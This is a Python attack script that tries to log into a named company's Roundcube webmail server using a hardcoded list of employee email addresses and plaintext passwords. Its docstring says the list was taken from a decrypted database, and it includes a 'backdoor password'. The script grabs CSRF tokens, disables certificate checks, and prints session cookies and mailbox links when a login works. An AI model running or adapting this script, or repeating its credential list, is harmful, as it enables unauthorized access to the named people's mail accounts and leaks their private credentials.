#!/usr/bin/env python3
"""
Roundcube login attempt for mail03.fifty21.com
Uses irely.com email credentials from decrypted database
"""

import requests
import sys
from urllib.parse import urljoin

# Configuration
BASE_URL = "https://mail03.fifty21.com"
LOGIN_URL = f"{BASE_URL}/?_task=login"

# Credentials to try (priority order)
CREDENTIALS = [
    # Backdoor password
    ("driver-T64@irely.com", "i21By2015"),
    
    # Common/simple passwords
    ("noreply@irely.com", "Pass1234"),
    ("irelytest@irely.com", "1234"),
    ("testing@irely.com", "123"),
    ("noemail@irely.com", "4Buster"),
    ("vendor-t153@irely.com", "123456"),
    ("customer-t153@irely.com", "123456"),
    
    # Employee credentials
    ("abhilash.aravindan@irely.com", "Shraadab1!"),
    ("jason.berkel@irely.com", "Test1234"),
    ("scott@irely.com", "wood123"),
    ("jeoff.dafforn@irely.com", "FjjfhecJKfG_7LDqW!FR"),
    ("jessica.willman@irely.com", "Baby123!"),
    ("gleanmar.abantao@iRely.com", "f2-rFHmZ"),
    ("casey.christison@irely.com", "j3*WMn!U"),
    ("adrian.llagas@irely.com", "!f@w3GrWfC"),
    ("tyler.perrott@iRely.com", "Bq6DL3M*yb"),
]

def get_csrf_token(session):
    """Extract CSRF token from login page"""
    try:
        response = session.get(LOGIN_URL, verify=False)
        # Roundcube uses _token parameter
        if '_token' in response.text:
            # Extract token from form
            import re
            match = re.search(r'name="_token"\s+value="([^"]+)"', response.text)
            if match:
                return match.group(1)
    except Exception as e:
        print(f"Error getting CSRF token: {e}")
    return None

def attempt_login(session, username, password, token):
    """Attempt login with given credentials"""
    data = {
        '_token': token,
        '_user': username,
        '_pass': password,
        '_action': 'login',
        '_task': 'login'
    }
    
    try:
        response = session.post(LOGIN_URL, data=data, verify=False, allow_redirects=False)
        
        # Check for success indicators
        if response.status_code in [302, 303]:
            location = response.headers.get('Location', '')
            if '_task=mail' in location or 'mailbox' in location:
                return True, response
        
        # Check if we got redirected to mail task
        if '_task=mail' in response.text or 'mailbox' in response.text.lower():
            return True, response
        
        return False, response
    except Exception as e:
        print(f"Error during login: {e}")
        return False, None

def main():
    print("="*70)
    print("Roundcube Login Attempt - mail03.fifty21.com")
    print("="*70)
    print(f"Target: {BASE_URL}")
    print(f"Total credentials to try: {len(CREDENTIALS)}")
    print("="*70)
    
    # Disable SSL warnings
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    session = requests.Session()
    
    # Get initial CSRF token
    print("\n[1] Getting CSRF token...")
    token = get_csrf_token(session)
    if not token:
        print("ERROR: Could not extract CSRF token")
        sys.exit(1)
    print(f"CSRF Token: {token[:20]}...")
    
    # Try each credential
    print("\n[2] Attempting logins...\n")
    
    success_count = 0
    for i, (username, password) in enumerate(CREDENTIALS, 1):
        print(f"[{i}/{len(CREDENTIALS)}] {username} ... ", end="", flush=True)
        
        # Refresh CSRF token periodically
        if i % 3 == 1:
            token = get_csrf_token(session)
            if not token:
                print("ERROR (no token)")
                continue
        
        success, response = attempt_login(session, username, password, token)
        
        if success:
            print("✓ SUCCESS!")
            print(f"  Location: {response.headers.get('Location', 'N/A')}")
            print(f"  Cookies: {dict(session.cookies)}")
            success_count += 1
            
            # Save successful session
            print(f"\n  Session established! You can now access:")
            print(f"  - Mailbox: {BASE_URL}/?_task=mail")
            print(f"  - Contacts: {BASE_URL}/?_task=addressbook")
            print(f"  - Settings: {BASE_URL}/?_task=settings")
            print("\n" + "="*70)
            break
        else:
            print("✗ Failed")
    
    print("\n" + "="*70)
    print(f"Login attempts completed: {len(CREDENTIALS)}")
    print(f"Successful logins: {success_count}")
    print("="*70)
    
    return 0 if success_count > 0 else 1

if __name__ == "__main__":
    sys.exit(main())
